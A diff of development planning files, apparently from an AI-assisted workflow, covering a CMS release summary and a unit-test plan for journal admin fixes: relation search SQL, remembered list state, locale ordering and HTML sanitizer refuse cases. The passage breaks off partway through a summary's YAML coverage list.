- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal`: gitlink now points to `a675f2f`.
|
||||
- `../sm-grzybyfunkcjonalne-app/README.md`: the warning against editing imported posts in the admin is removed.
|
||||
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: the section that told admins not to re-save imported posts is removed.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Tag v0.1.16, docker-first.** The human reported the Docker-host suites passed, then approved the release.
|
||||
- **No `en` locale change on UAT.** The framework fix (default locale first) is enough for D-03, as planned under Claude's discretion in CONTEXT.
|
||||
- **Rollback was not used.** Every check passed. `bin/grzybyfunkcjonalne.prev` stays on the server.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Bug] The plan's Task 3 log check passed even when it could not read the log**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** The plan read the log with `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go`. On UAT, supervisor's XML-RPC fails with an ExpatError on the ANSI escape codes in GORM log lines, so no log lines come back. The error text does not contain `SQLSTATE 42703`, so `grep -c ... | grep -qx 0` passed without checking anything.
|
||||
- **Fix:** The check now reads the supervisor log file directly. It fails closed when the file is unreadable or does not contain this restart's `client_id`:
|
||||
`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; test -r "$F" && grep -q "client_id=alexandria_2026_10_09T19_36_54" "$F" && awk -v since="2026/10/09 19:36:54" "substr(\$0,1,19) >= since" "$F" | grep -c "SQLSTATE 42703"' | grep -qx 0`
|
||||
- **Files modified:** none. Only the verification command changed.
|
||||
- **Verification:** The check passed, with 19 lines since the restart and 0 matches. The same file holds 6 `SQLSTATE 42703` lines from before the restart, which shows the check can see the failure it looks for.
|
||||
- **Committed in:** n/a (verification only)
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 1 auto-fixed (1 bug in a verify command)
|
||||
**Impact on plan:** The changed check is stricter than the plan's. There is no scope change.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- The human's first Task 3 reply ("all works") came before any save had reached UAT, since the SQL still printed `2:0`. The executor returned a second checkpoint instead of accepting the reply. After the second reply ("resaved, no errors") the check printed `0:1`.
|
||||
- The Docker-backed suites (modules/cabana Postgres tests, the sm-journal-plugin harness) cannot run on this machine. The human ran them on a Docker host before the release, as the docker-first option requires.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. The plan's `user_setup` covered only the human's UAT admin login, which is already done. No USER-SETUP.md was generated: there are no env vars or keys to configure.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 03 (unit tests) can start. Its tests land on master after v0.1.16 and ship with the next tag.
|
||||
- `/msd-verify-work 16.1` should confirm coverage D5 on UAT: D-01 list state, D-03 form locales and fields, and the post-64 footer on `/blog/ekstrakt-z-turkey-tail`.
|
||||
- Rollback is still available if needed: move `bin/grzybyfunkcjonalne.prev` back and restart `grzybyfunkcjonalne-go`.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Tag v0.1.16 is on origin and contains 06d75cb.
|
||||
- sm-journal-plugin a675f2f equals origin/main.
|
||||
- Host cac2ee7 equals origin/master, and its gitlink is a675f2f.
|
||||
- `grep -ci omitted` returns 0 for both README.md and DEPLOY.md.
|
||||
- The sha256 is the same locally and on the server, and both programs are RUNNING.
|
||||
- The SQL check prints 0:1 and the log check passes.
|
||||
@@ -0,0 +1,215 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["16.1-01", "16.1-02"]
|
||||
files_modified:
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/state/listState.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
|
||||
autonomous: true
|
||||
requirements: [D-01, D-02, D-03]
|
||||
estimate:
|
||||
tokens: 75000
|
||||
raw_tokens: 75000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "CLAUDE.md lean rule 3: every piece of Phase 16.1 code has unit tests in this last plan: the relation subquery builder (search and sort, every relation type, refusals), enabledContentLocales ordering, FormatHTML keep and refuse, the listState helpers, the ListView entry logic, the FormView return paths and logout clearing."
|
||||
- "D-01: a form's back, cancel, save-and-close and delete each land on the list with the stored query in the URL, and the first list request after the return carries it (no list request without it)."
|
||||
- "D-01: ListView restores the stored query before its first list request, lets a URL with list params win and overwrite storage, removes the stored query when the user clears every control (the next entry loads unfiltered), keeps the filters when the same list is opened again from the navigation, drops the stored query on a 422, and moves a restored page beyond last_page to last_page."
|
||||
- "D-01: listState helpers use the summer-admin.list: prefix plus the controller id, drop malformed stored JSON or values (and remove that key), store nothing for an empty query, survive storage that throws, and clearListStates (called by logout) removes list keys but keeps summer-admin.sidebar."
|
||||
- "D-02: DryRun tests prove belongsToMany search goes through the pivot named by the gorm tag, including custom joinForeignKey and joinReferences columns (no naming convention guessed); hasMany and belongsTo correlate on the parsed keys; a self-referencing relation gets distinct aliases; a soft-deleting related model adds deleted_at IS NULL; polymorphic relations and unknown columns answer 422; the search value is bound and LIKE-escaped, never in the SQL text; combined with a ListExtendQuery user_id predicate and a scope filter the count has no outer JOIN; to-many sort orders by string_agg with the primary-key tiebreak in both directions; to-one sort keeps the association join."
|
||||
- "D-03: enabledContentLocales tests cover default not first, already first, default absent, DefaultLocale error (order kept), no writer (nil) and three locales keeping their relative order."
|
||||
- "D-03: FormatHTML tests prove imported HTML round-trips (paragraphs, attributes, markdown with a trailing raw footer and style) and that every unsafe case returns an error now that the gate is the only defence (script, iframe, object, embed, on* attributes in raw HTML including an svg onload, javascript, vbscript and data URLs in links and raw attributes, mixed case)."
|
||||
- "Postgres-backed tests TestListRelationSearchPostgres (exact total when one post matches through two tags) and TestPostsAdminResaveKeepsHTML (an admin update of HTML content keeps content_html) exist, pass go vet, and fail rather than skip without a database outside -short; they run on a Docker host before /msd-verify-work."
|
||||
- "go vet stays clean in summercms.go and sm-journal-plugin; the named pure Go tests, the full vitest suite, TestDocsTree and scripts/check-admin-dist.sh are green; this plan changes tests only, so the embedded dist does not change."
|
||||
artifacts:
|
||||
- path: "admin/tests/state/listState.test.ts"
|
||||
provides: "unit tests of the browser-storage helpers"
|
||||
contains: "clearListStates"
|
||||
- path: "modules/cabana/query_relation_test.go"
|
||||
provides: "DryRun SQL matrix and the Postgres relation-search test"
|
||||
contains: "TestListRelationSQL"
|
||||
- path: "modules/cabana/locale_order_test.go"
|
||||
provides: "default-locale ordering cases"
|
||||
contains: "TestEnabledLocalesDefaultFirst"
|
||||
- path: "../sm-journal-plugin/posts_admin_smoke_test.go"
|
||||
provides: "admin re-save keeps imported HTML (todo journal-imported-html-admin-resave acceptance test)"
|
||||
contains: "TestPostsAdminResaveKeepsHTML"
|
||||
key_links:
|
||||
- from: "admin/tests/form/FormView.test.ts"
|
||||
to: "admin/src/views/ListView.vue entry restore"
|
||||
via: "form back navigation to the bare list path, then the restored query in the URL and the first list request"
|
||||
pattern: "writeListState"
|
||||
- from: "modules/cabana/query_relation_test.go"
|
||||
to: "modules/cabana/query.go applyListSearch and applyListOrder"
|
||||
via: "DryRun db with a recording logger, through service.list and ExecuteList"
|
||||
pattern: "DryRun"
|
||||
prohibitions:
|
||||
- "[FLAGGED-UNVERIFIED] No test may touch the UAT server, the network or a shared database: pure tests use a DryRun db on a DSN that is never dialed, Postgres tests use throwaway testcontainers databases."
|
||||
- "[FLAGGED-UNVERIFIED] Tests must not be weakened to pass: the existing FormatHTML refuse cases stay and become stricter, and no existing ListView, FormView or shell smoke assertion is deleted."
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT (relation search, remembered list state, stored content and excerpt in the form), released and redeployed.
|
||||
|
||||
This plan's slice (D-05: "03 unit tests"; CLAUDE.md lean rule 3): full unit coverage of every 16.1 code change, ending the phase. It runs after plan 02 (wave 3) because the release was not to wait for coverage (lean rule 3) and the two plans commit in the same repositories; its commits ship with the next tag.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: no REQUIREMENTS.md IDs to probe. The edge cases RESEARCH and plan 01 named (polymorphic, soft-deleting and self-referencing relations, custom join keys, stale or malformed stored state, cleared controls, same-path navigation, out-of-range page, disabled storage, the gate as the only XSS defence) are each authored as a test case in `must_haves.truths`.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- New `admin/tests/state/listState.test.ts`; extended `admin/tests/list/ListView.test.ts`, `admin/tests/form/FormView.test.ts`, `admin/tests/state/useAuth.test.ts`.
|
||||
- Extended `modules/cabana/query_relation_test.go` (DryRun matrix, Postgres test) and `modules/cabana/locale_order_test.go`.
|
||||
- Extended `../sm-journal-plugin/classes/format_html_test.go` and `../sm-journal-plugin/posts_admin_smoke_test.go`.
|
||||
- `16.1-VALIDATION.md` statuses filled with the measured results.
|
||||
|
||||
<objective>
|
||||
Bring full unit coverage to the Phase 16.1 code (D-01, D-02, D-03) as the phase's last plan, and run the phase gate.
|
||||
|
||||
Purpose: the fixes stay fixed: relation subqueries, locale order, lossless HTML and remembered list state are pinned by tests that run without Docker, plus Postgres tests for a Docker host.
|
||||
Output: test commits in summercms.go (admin, cabana) and sm-journal-plugin, and a filled VALIDATION.md.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
|
||||
|
||||
Docker is not usable on this machine: run the pure Go tests by name and count their PASS lines; Postgres-backed tests are written and vetted here and run on a Docker host. Commits: tests only, staged by explicit path, no co-author tags, planning docs (VALIDATION.md) in a separate commit from code. Nothing is pushed or tagged by this plan.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: list, form, back round trip restores the list query; then full SPA list-state coverage</name>
|
||||
<files>admin/tests/form/FormView.test.ts, admin/tests/list/ListView.test.ts, admin/tests/state/listState.test.ts, admin/tests/state/useAuth.test.ts</files>
|
||||
<read_first>admin/src/state/listState.ts, admin/src/views/ListView.vue, admin/src/views/FormView.vue (go, onLeave, onSaveAndClose, onDelete, redirectTarget), admin/src/state/useAuth.ts (logout), admin/tests/helpers.ts (mountApp, requestsTo, queryOf, resetState), admin/tests/form/FormView.test.ts (routes and form fixtures, router.currentRoute assertions), admin/tests/list/ListView.test.ts (routes, the plan 01 smoke cases), admin/tests/state/useAuth.test.ts, admin/tests/state/useSidebar.test.ts (storage spies that throw), admin/tests/smoke/shell.smoke.test.ts (only the sidebar key after mounting a list), admin/tests/fixtures/typed.ts (form schema redirects)</read_first>
|
||||
<action>Tracer first, in admin/tests/form/FormView.test.ts: seed writeListState for acme.demo.widgets with sort code, dir desc and filter active true; mount /acme/demo/widgets/1 with the form routes plus the list schema and list routes; click the back action; after flushPromises the router fullPath is the list path carrying sort=code, dir=desc and filter[active]=true, and every list GET after the click carries them (none without). Repeat for cancel, save-and-close (when the fixture's close redirect resolves to the list path; otherwise set it so in a cloned schema) and delete (confirm dialog accepted).
|
||||
|
||||
admin/tests/state/listState.test.ts (new): the key is the prefix plus the controller id; read of a missing key is empty; read of invalid JSON, a non-object, or an object with non-string values returns empty and removes the key; malformed values (page 0, dir sideways, empty filter value, unknown shapes) are dropped by the strict parser; writing an empty query removes the key; a write and read round-trip keeps search, sort, dir, page above 1, per_page and filters; clearListStates removes every prefixed key and keeps summer-admin.sidebar; with Storage getItem and setItem spied to throw, read returns empty and write and clear do not throw.
|
||||
|
||||
admin/tests/list/ListView.test.ts: with a stored query and an empty URL, no list GET without the stored params is made and the first carries them; a URL with params wins and overwrites storage; clearing search, sort and filters through the UI removes the key, and remounting the bare list loads unfiltered; with the list filtered, router.push to the bare list path keeps the filters and makes no unfiltered request; a 422 list response removes the stored key; a response with page above last_page replaces the URL page with last_page and requests that page.
|
||||
|
||||
admin/tests/state/useAuth.test.ts: logout removes every summer-admin.list: key and keeps summer-admin.sidebar, also when the logout request fails.
|
||||
|
||||
Keep every existing assertion, including the shell smoke expectation that mounting a list without query stores only the sidebar key. Commit in summercms.go, staging exactly the four test files: test(admin): list state round trip and storage coverage.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke</automated>
|
||||
<fails_when>Non-zero exit, a vitest summary line reporting "failed", or "No test files found" in the output.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The vitest run passes and the summary counts tests in admin/tests/state/listState.test.ts (the file exists and is collected).
|
||||
- `grep -c 'writeListState' admin/tests/form/FormView.test.ts` is at least 1; `grep -c 'clearListStates' admin/tests/state/listState.test.ts` is at least 1; `grep -c 'summer-admin.list:' admin/tests/state/useAuth.test.ts` is at least 1.
|
||||
- `git show --name-only --format= HEAD` lists exactly the four test files.
|
||||
</acceptance_criteria>
|
||||
<done>The list-to-form-to-list round trip and every list-state edge case are pinned by vitest.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: cabana coverage: DryRun SQL matrix for relation search and sort, locale ordering, Postgres relation search</name>
|
||||
<files>modules/cabana/query_relation_test.go, modules/cabana/locale_order_test.go</files>
|
||||
<read_first>modules/cabana/query.go (the relation subquery builder, applyListSearch, applyListOrder, ExecuteList), modules/cabana/query_relation_test.go (plan 01 harness and fixtures), modules/cabana/locale_order_test.go, modules/cabana/http.go (enabledContentLocales), modules/cabana/ml_smoke_test.go (recordingWriter), modules/cabana/query_test.go (newListService, getList, decodeList, the Postgres fixture setup), modules/cabana/list_schema_test.go (filterFS)</read_first>
|
||||
<action>Extend modules/cabana/query_relation_test.go, reusing the plan 01 DryRun harness (never-dialed DSN, recording logger) and the service helper:
|
||||
|
||||
TestListRelationSQL, table-driven, asserting on the recorded SQL and on bound values: belongsToMany search through the pivot with the pivot owner key correlated to the main primary key and the related key joined; a belongsToMany declared with custom joinForeignKey and joinReferences tags and a non-default pivot name uses exactly those columns (proves no naming convention is guessed, D-02); hasMany search correlates the related foreign key to the main primary key; belongsTo search correlates the related primary key to the main foreign key; a self-referencing belongsToMany gets distinct aliases and still correlates to the unaliased main table; a related model with gorm.DeletedAt adds its column IS NULL on the related alias; a polymorphic hasMany and a select column missing from the related schema each answer 422 validation_failed with details.search through getList; a search term containing a quote, a percent sign and an underscore never appears in the SQL text and its bound value is lower-cased and LIKE-escaped; with a controller implementing ListExtendQuery that adds an unqualified user_id predicate and a scope filter adding an unqualified id IN predicate, the recorded count statement has no JOIN outside the subqueries; sort by the belongsToMany column asc and desc orders by the string_agg subquery with the matching direction followed by the main primary-key tiebreak; sort by the belongsTo column keeps the association join and its column order.
|
||||
|
||||
Add TestListRelationSearchPostgres (Postgres through newListService's shared container; it fails rather than skips without Docker, like the package's other Postgres tests): migrate the relation fixtures, seed one post with two tags that both match "fungi" and one post with an unrelated tag; search=fungi answers total 1 with only the first post; sort=tags orders by the joined tag names; a hasMany note search returns the right post.
|
||||
|
||||
Extend modules/cabana/locale_order_test.go with TestEnabledLocalesDefaultFirst, table-driven: en, pl with default pl gives pl, en; pl, en unchanged; default absent from the list leaves the order; a writer whose DefaultLocale errors (a small test double) leaves the order; no published writer returns nil; en, de, pl with default pl gives pl, en, de.
|
||||
|
||||
Commit in summercms.go, staging exactly the two files: test(cabana): relation subquery and locale order coverage.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestListRelationSearchSmoke|TestListRelationSQL|TestEnabledLocalesDefaultFirst|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
|
||||
<fails_when>Non-zero exit: go vet fails (including on the Postgres test), or fewer than four top-level "--- PASS: Test" lines (a named test failed, does not exist, or was filtered out).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- Four top-level PASS lines for TestListRelationSearchSmoke, TestListRelationSQL, TestEnabledLocalesDefaultFirst and TestEnabledLocalesDefaultFirstSmoke on a machine without Docker.
|
||||
- `grep -c 'func TestListRelationSearchPostgres' modules/cabana/query_relation_test.go` is 1 and `go vet ./modules/cabana` exits 0.
|
||||
- `grep -c 'joinForeignKey' modules/cabana/query_relation_test.go` is at least 1 (custom pivot keys case present).
|
||||
- `git show --name-only --format= HEAD` lists exactly modules/cabana/query_relation_test.go and modules/cabana/locale_order_test.go.
|
||||
</acceptance_criteria>
|
||||
<done>The relation subquery builder and the locale order are covered by pure tests, with a Postgres test ready for a Docker host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Journal coverage (FormatHTML keep and refuse, admin re-save keeps HTML) and the phase gate</name>
|
||||
<files>../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go, .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go (TestMain, newPostsEnv, admin, expect, adminDecode), ../sm-journal-plugin/controllers/posts.go (preparePostWrite), .planning/todos/pending/journal-imported-html-admin-resave.md (its acceptance test), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md</read_first>
|
||||
<action>../sm-journal-plugin/classes/format_html_test.go: extend TestFormatHTMLKeepsRawHTML with imported-style bodies: paragraphs, elements with class, https href and https img src attributes, an attribute holding an entity, and markdown followed by raw footer and style elements; each output equals the input after trimming (or, for the markdown case, contains the raw elements unchanged). Make TestFormatHTMLRejectsUnsafeHTML strict: every case must return an error (with unsafe rendering the gate is the only defence), and add raw-HTML cases: an svg element with onload, an anchor whose href is a mixed-case javascript URL, object and embed elements, a script element inside an HTML block, and a raw attribute with a data URL. Keep check_html_test.go unchanged and green.
|
||||
|
||||
../sm-journal-plugin/posts_admin_smoke_test.go: add TestPostsAdminResaveKeepsHTML through the admin harness: create a post whose content is two HTML paragraphs, update it through the admin update route with the same content, and assert the stored content_html equals the content after trimming and holds no goldmark placeholder comment; it runs where the harness Postgres runs (TestMain fails closed without Docker outside -short, the house rule).
|
||||
|
||||
Commit in ../sm-journal-plugin on main, staging exactly the two test files: test: FormatHTML keep and refuse coverage, admin re-save keeps HTML. Do not push.
|
||||
|
||||
Phase gate: run both verify commands and the plan 01 and Task 2 Go commands, then update 16.1-VALIDATION.md: each Per-Task Verification Map status (green, red or manual), wave_0_complete true, nyquist_compliant true only if every automated row is green, and the Docker-host suites and UAT items left as pending manual checks unless already answered. Commit VALIDATION.md separately from code (planning docs commit).</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ && go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLRejectsUnsafeHTML)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: vet fails (including on TestPostsAdminResaveKeepsHTML), a classes test fails, or fewer than two top-level "--- PASS: Test" lines.</fails_when>
|
||||
<automated>go vet ./... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && echo phase-16.1-local-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or "phase-16.1-local-gate-ok" absent: vet, the docs checker, the typecheck, any vitest file or the dist drift gate failed.</fails_when>
|
||||
<human-check>On a Docker-enabled machine run go test -count=1 ./... in summercms.go and go -C ../sm-journal-plugin test -count=1 ./... and confirm both are green, including TestListQueryContract, TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML. Reply with the two summary lines or the failures.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- Two top-level PASS lines for TestFormatHTMLKeepsRawHTML and TestFormatHTMLRejectsUnsafeHTML; `go -C ../sm-journal-plugin test -count=1 ./classes/` prints ok.
|
||||
- `grep -c 'func TestPostsAdminResaveKeepsHTML' ../sm-journal-plugin/posts_admin_smoke_test.go` is 1 and `go -C ../sm-journal-plugin vet ./...` exits 0.
|
||||
- The phase gate prints phase-16.1-local-gate-ok.
|
||||
- 16.1-VALIDATION.md has no "⬜ pending" status left on an automated row; the frontmatter has wave_0_complete: true.
|
||||
- `git -C ../sm-journal-plugin show --name-only --format= HEAD` lists exactly classes/format_html_test.go and posts_admin_smoke_test.go.
|
||||
</acceptance_criteria>
|
||||
<done>Lossless HTML and the strict gate are pinned, the todo's re-save test exists, the local phase gate is green and VALIDATION.md records the results.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Test runner → databases | Postgres-backed tests create throwaway testcontainers databases |
|
||||
| Test results → phase sign-off | a filter that matches nothing or a skipped test can read as green |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.1-11 | Repudiation (false green) | verify commands, VALIDATION.md | medium | mitigate | Every Go gate counts the top-level "--- PASS: Test" lines of the named tests; Postgres tests fail instead of skipping outside -short; VALIDATION.md marks Docker-host suites as manual until a run is recorded; nyquist_compliant is set only when every automated row is green |
|
||||
| T-16.1-12 | Tampering / Denial of Service | test fixtures | low | mitigate | Pure tests use a DryRun db with DisableAutomaticPing on a DSN that is never dialed; Postgres tests use throwaway testcontainers databases; no test reaches the UAT server or a shared database |
|
||||
| T-16.1-SC | Tampering | packages | high | mitigate | No package is installed: vitest, GORM, the postgres dialector and testcontainers-go are already pinned in package.json and go.mod; go.mod, go.sum and package.json stay unchanged |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: vitest green with listState.test.ts collected.
|
||||
- Task 2: four PASS lines for the named cabana tests; go vet clean.
|
||||
- Task 3: two PASS lines for the FormatHTML tests; phase-16.1-local-gate-ok printed; VALIDATION.md filled.
|
||||
- Docker-host suites recorded as a human-check for /msd-verify-work.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Lean rule 3 met: every 16.1 code change has unit tests in this last plan.
|
||||
- The relation subquery builder, locale ordering, FormatHTML and list state are pinned by tests that run without Docker.
|
||||
- The Postgres relation-search test and the admin re-save test exist for a Docker host.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md` when done, with the commit hashes per repository (unpushed; they ship with the next release), the gate output lines and the Docker-host result or its pending status.
|
||||
</output>
|
||||
@@ -0,0 +1,256 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 03
|
||||
subsystem: testing
|
||||
tags: [vitest, localStorage, gorm, dryrun, postgres, testcontainers, goldmark, xss]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: "16.1-01 fixes (relation subqueries, default locale first, raw HTML in FormatHTML, list state) and the 16.1-02 release v0.1.16"
|
||||
provides:
|
||||
- "vitest coverage of the list to form to list round trip (back, cancel, save-and-close, delete), listState.ts helpers, ListView entry logic and logout clearing"
|
||||
- "TestListRelationSQL: DryRun SQL matrix of the relation subquery builder for every relation type, the refusals and bound search values"
|
||||
- "TestEnabledLocalesDefaultFirst: every default-locale ordering case"
|
||||
- "Strict FormatHTML refuse cases and imported-HTML keep cases in sm-journal-plugin"
|
||||
- "Postgres tests TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML, ready for a Docker host"
|
||||
- "16.1-VALIDATION.md filled: every automated row green, wave_0_complete and nyquist_compliant true"
|
||||
affects: [16.2 blog editor, next summercms tag, /msd-verify-work 16.1]
|
||||
|
||||
actuals:
|
||||
tokens: 13669 # chars/4 over the realized test diffs of both repos (summercms.go admin+modules, sm-journal-plugin)
|
||||
tasks: 3
|
||||
commits: 3 # summercms.go, measured from the ledger before the SUMMARY commit; sm-journal-plugin adds 1 (03907ee)
|
||||
plan_head_before: 3b8527b39739a34eaee540d1ec0458966146a91c
|
||||
plan_head_after: 837e40ae6aac05cf060b5c4fbd8872ca5d96e847
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "bindRecorder: a GORM logger implementing ParamsFilter records statements with placeholders and bound values, so a DryRun test proves a value is bound, not inlined"
|
||||
- "withoutSubqueries strips (SELECT ...) groups so a test can tell an outer JOIN from one inside an EXISTS"
|
||||
- "relModelController + relOneColumn: one generic controller and a one-relation columns.yaml per DryRun case, so the relation under test is always cabana_r0"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- admin/tests/state/listState.test.ts
|
||||
modified:
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
|
||||
|
||||
key-decisions:
|
||||
- "FormatHTML refuse cases now require an error and an empty result for every unsafe input; the old 'or rendered harmless' escape hatch is gone because html.WithUnsafe leaves the gate as the only defence"
|
||||
- "nyquist_compliant is true because every automated row is green; the Docker-host suites and UAT checks stay as manual rows, and two unrun-verify entries were added to WINDOWS.md"
|
||||
|
||||
patterns-established:
|
||||
- "Bound-value proof for cabana SQL: openBindDryRunDB in query_relation_test.go"
|
||||
|
||||
requirements-completed: [D-01, D-02, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "A form's back, cancel, save-and-close and delete land on the list with the stored query in the URL, and every list request after the return carries it"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/FormView.test.ts#returning to the list keeps its query (D-01)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "listState helpers (prefix key, malformed values removed, empty query stores nothing, throwing storage), ListView entry logic (URL wins, cleared controls, same-list navigation, 422, page clamp) and logout clearing list keys but not the sidebar"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/state/listState.test.ts"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/list/ListView.test.ts#list state entry logic (D-01)"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/state/useAuth.test.ts#logout (T-10-23) removes every stored list query"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Relation subquery SQL: belongsToMany through the tagged pivot (custom joinForeignKey/joinReferences, self-reference), hasMany, hasOne, belongsTo, soft delete, 422 refusals, bound LIKE-escaped search values, no outer JOIN next to ListExtendQuery and scope predicates, string_agg and join sorts"
|
||||
requirement: D-02
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSQL"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "enabledContentLocales ordering: default moved first, already first, absent, empty, DefaultLocale or EnabledLocales error, no writer, three locales keep their order"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirst"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "FormatHTML keeps imported HTML unchanged and refuses every unsafe case with an error"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Postgres-backed tests: relation search counts a post matching through two tags once, sorts by tag names, finds a hasMany note; an admin re-save of HTML content keeps content_html"
|
||||
requirement: D-02
|
||||
verification:
